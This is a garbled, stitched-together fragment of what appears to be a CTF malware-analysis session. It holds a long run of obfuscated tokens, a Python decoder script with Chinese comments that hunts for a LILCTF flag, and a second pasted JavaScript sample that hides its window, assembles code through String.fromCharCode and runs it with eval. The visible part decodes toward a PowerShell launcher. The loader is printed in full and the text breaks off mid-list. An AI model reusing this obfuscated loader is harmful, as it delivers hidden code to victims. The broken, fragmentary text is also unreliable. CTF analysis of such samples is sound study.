NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB极long code...);eval(SxhM); window.close();</script>
"""
var_assignments = re.findall(r'(\w+)=(\d+);', js_code)

# 创建完整的变量映射
full_map = {}
for var, val in var_assignments:
    full_map[var] = int(val)

# 提取String.fromCharCode的参数列表
pattern = r'String\.fromCharCode\(([^)]+)\)'
match = re.search(pattern, js_code)
if not match:
    print("参数列表未找到")
    exit()

params_str = match.group(1)
params_list = [param.strip() for param in params_str.split(',')]

# 解析参数
decoded_chars = []
for param in params_list:
    if param in full_map:
        decoded_chars.append(full_map[param])
    elif param.isdigit():
        decoded_chars.append(int(param))
    else:
        # 处理复合表达式
        if '+' in param:
            parts = param.split('+')
            total = sum(full_map.get(p, 0) for p in parts)
            decoded_chars.append(total)
        else:
            decoded_chars.append(0)  # 未知参数设为0

# 将数字列表转换为字符串
decoded_str = ''.join(chr(n) for n in decoded_chars)

# 在解码后的字符串中搜索flag格式
flag_match = re.search(r'LILCTF\{[^}]+\}', decoded_str)
if flag_match:
    flag = flag_match.group(0)
    print("发现隐藏的flag:")
    print(flag)
else:
    print("未直接找到flag,尝试提取关键部分...")
    # 提取关键部分
    key_parts = re.findall(r'[a-zA-Z0-9_{}]+', decoded_str)
    print("可能的flag片段:", ''.join(key_parts))

继续嗦

import re

# 原始混淆代码
obfuscated_js = obfuscated_js = """
<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff